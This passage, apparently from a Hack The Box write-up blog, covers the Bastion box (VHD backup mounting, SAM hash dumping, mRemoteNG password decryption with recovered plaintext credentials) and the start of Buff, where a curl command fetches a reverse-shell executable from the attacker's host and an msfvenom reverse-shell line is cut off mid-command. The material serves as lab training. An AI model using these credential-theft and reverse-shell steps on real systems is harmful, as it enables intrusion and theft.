file brought me to a standstill. The hint said not to download everything because it would be very slow.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0208.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0209.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the file. It was still growing and was simply too large. Following the hint, I stopped downloading it and deleted what I had because it was taking up too much space.&lt;/p&gt;&#10;&lt;p&gt;At this point, judging by the services that were open, I was probably expected to find the username and password myself. I couldn&amp;rsquo;t think of any other way this box could be solved.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0210.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I used this method to mount the smaller vhd file, but it was completely empty when I opened it. There was probably something in the larger vhd file, but downloading it was far too slow. Maybe mounting it over the SMB service would work better?&lt;/p&gt;&#10;&lt;p&gt;While searching, I found a blog post whose IP and method were exactly the same as the write-up, so I kept looking elsewhere.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0211.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@klockw3rk/mounting-vhd-file-on-kali-linux-through-remote-share-f2f9542c1f25" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@klockw3rk/mounting-vhd-file-on-kali-linux-through-remote-share-f2f9542c1f25&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This blog used the same method as the previous one and was also written specifically for this lab.&lt;/p&gt;&#10;&lt;p&gt;I searched for quite a while after that, but almost everything I found was about this particular lab. If this box had not already been released and I had needed to figure it out on my own, it probably would have been pretty difficult. The idea itself is easy to understand. I had already spent ages trying to download the file, but it was huge and the connection was slow. The method uses the CIFS SMB file share to mount the vhd from the target&amp;rsquo;s SMB service directly on the local machine. That way, files are loaded only as I access them locally. In practice, though, I still didn&amp;rsquo;t know how to do it. I had already figured out how the next stage would probably work: pull out SAM or HTDS.dit, use PTH or winrm, and get a shell. I couldn&amp;rsquo;t see any other route unless the password had been changed and I needed to hunt down the SSH password instead.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0212.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;apt-get install libguestfs-tools&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;apt-get install cifs-utils&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mkdir /mnt/remote&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mkdir /mnt/vhd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mount -t cifs //10.10.10.134/backups /mnt/remote -o rw&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;guestmount --add /mnt/remote/WindowsImageBackup/L4mpje-PC/&amp;#39;Backup 2019-02-22 124351&amp;#39;/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt/vhd -v&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I needed to copy out the SAM and SYSTEM files from C:\Windows\System32\config and rename them sam.hiv and system.hiv.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0213.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then it was just a matter of decrypting them. My Kali installation didn&amp;rsquo;t have this py file, so I moved them to Windows and decrypted them there.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Cleaning up...&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The Administrator password was empty, so I would most likely need to get back in and escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0214.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried logging in many different ways, but authentication kept failing. After trying for a long time, I finally remembered that port 22 was still sitting there unused.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0215.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got in successfully. I&amp;rsquo;m skipping a long stretch here where I kept digging through files and found nothing. Later, I thought about trying something like sudo su, but that obviously wasn&amp;rsquo;t going to work and wasn&amp;rsquo;t realistic. Then it suddenly clicked: since I was using SSH now, could I connect with a public key? After all, SAM told me this password was empty, although that did not necessarily mean it really was. So I started looking for a public key.&lt;/p&gt;&#10;&lt;p&gt;I found the configuration file here.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0216.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But PubkeyAuthentication was commented out, so it seemed that public-key login was not allowed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0217.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At the very bottom, though, I found what looked like a public-key setting for the administrators match group?&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0218.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0219.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But I had absolutely no permissions.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0220.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I went back to the mount and searched through the backup again. I hadn&amp;rsquo;t tried looking through the ssh directory there before.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0221.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0222.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was nothing there either.&lt;/p&gt;&#10;&lt;p&gt;I was completely stuck at this point. Instead of looking at a write-up, I checked the next-step hint on Hack The Box.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0223.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;So there was another remote connection tool?&lt;/p&gt;&#10;&lt;p&gt;I found it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0224.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Following the hint:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/mRemoteNG/mRemoteNG/issues/1963" target="_blank" rel="noopener"&#10; &gt;https://github.com/mRemoteNG/mRemoteNG/issues/1963&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0225.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0226.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;password&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;a class="link" href="https://www.errno.fr/mRemoteNG.html" target="_blank" rel="noopener"&#10; &gt;https://www.errno.fr/mRemoteNG.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/gquere/mRemoteNG_password_decrypt/" target="_blank" rel="noopener"&#10; &gt;https://github.com/gquere/mRemoteNG_password_decrypt/&lt;/a&gt; # decryption script&lt;/p&gt;&#10;&lt;p&gt;Copying it directly would mess up the formatting, so I transferred it out over SMB.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbserver.py kali .&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;copy .\confCons.xml \\10.10.16.29\kali\confCons.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python mremoteng_decrypt.py confCons.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;result:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Name: DC&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Hostname: 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Username: Administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password: thXLHM96BeKL0ER2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Name: L4mpje-PC&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Hostname: 192.168.1.75&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Username: L4mpje&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Password: bureaulampje&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0227.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;The difficulty was fair. For the initial shell, I might have spent a very long time searching if later players hadn&amp;rsquo;t written blog posts explaining how to mount the remote file. I got stuck on the privilege-escalation stage because I didn&amp;rsquo;t inspect every program carefully enough. At the time, I only looked through Program Files and never checked Program Files (x86). I still had to rely on Hack The Box&amp;rsquo;s guided mode: submitting the user flag gave me the next step. I really just need more practice.&lt;/p&gt;&#10;&lt;p&gt;Clean up the mounts afterward, or things can get a little sluggish.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# First, leave the mount directory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd /&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check processes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lsof | grep &amp;#39;/mnt/vhd&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fuser -mv /mnt/vhd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Stop related processes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kill &amp;lt;pid&amp;gt; # Or use kill -9 &amp;lt;pid&amp;gt; to force termination&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Unmount the VHD&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;guestunmount /mnt/vhd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If that fails, try:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;fusermount -u /mnt/vhd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Unmount the CIFS share&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;umount /mnt/remote&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If it reports busy, use:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;umount -l /mnt/remote # Lazy unmount&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;umount -f /mnt/remote # Force unmount&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Finally, remove the mount points&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rmdir /mnt/vhd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rmdir /mnt/remote&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="11buff"&gt;&lt;a href="#11buff" class="header-anchor"&gt;&lt;/a&gt;11.Buff&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0228.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0229.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 8080 was hosting a gym website. After reading the site&amp;rsquo;s readme.md and doing some searching, I found the project page:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/" target="_blank" rel="noopener"&#10; &gt;https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0230.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an initial password here, but it had already been changed.&lt;/p&gt;&#10;&lt;p&gt;I downloaded the project and found a default user, but those credentials had been changed too.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0231.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then I started auditing the code and noticed that upload.php didn&amp;rsquo;t seem to perform any authentication checks.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0232.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;When I searched for an exploit, I actually found one with a CVE number. I wanted to make sure it hadn&amp;rsquo;t been written later by someone who had already completed the box:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/48506" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/48506&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0233.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0234.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Clearly, that exploit existed before this box was released, so it wasn&amp;rsquo;t something copied from somebody else&amp;rsquo;s write-up.&lt;/p&gt;&#10;&lt;p&gt;Exploiting it manually would have been simple enough. Crafting the file-upload request was a little tedious, but after setting the project up locally and capturing the request, I could have just changed the IP. I went with the exploit here for convenience.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0235.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That really was convenient. Time to start privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;Skipping over a long stretch here: I spent ages trying to upload an exe for a reverse shell, but nothing worked at all. Neither smb nor certutil worked.&lt;/p&gt;&#10;&lt;p&gt;The uploaded shell wouldn&amp;rsquo;t open either. After a lot of attempts, I finally got it working:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This can be uploaded&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://10.10.16.29:33333/reserver_shell/shell296666.exe -o .\shell.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The Ivan Sincek PHP script can also provide a reverse shell&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0236.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Privilege escalation:&lt;/p&gt;&#10;&lt;p&gt;It didn&amp;rsquo;t seem to be connected to the database.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0237.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But the database was definitely running.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0238.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0239.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No wonder I couldn&amp;rsquo;t use it.&lt;/p&gt;&#10;&lt;p&gt;After that, the connection kept dropping, and then I couldn&amp;rsquo;t do anything.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0240.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Switching to another openvpn node fixed it.&lt;/p&gt;&#10;&lt;p&gt;I found CloudMe_1112.exe in shaun&amp;rsquo;s download directory.&lt;/p&gt;&#10;&lt;p&gt;And I found an exploit for it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0241.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Following the instructions, I tried launching CloudMe_1112.exe, and it really did start locally. I wasn&amp;rsquo;t sure whether launching it as shaun and then exploiting the buffer overflow would give me administrator privileges, but it was still worth a try.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0242.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But it was listening locally, so I needed to set up a tunnel.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ve set up tunnels with frp plenty of times, so I won&amp;rsquo;t include that process here. The exploit only needed a few small changes. According to the instructions, I needed to generate shellcode:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Following the hint to avoid CMD, simply append LHOST=10.10.16.2 LPORT=3334&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -a x86 -p windows/shell_reverse_tcp -b &amp;#39;\x00\x0A\x0D&amp;#39; -f python LHOST=10.10.16.2 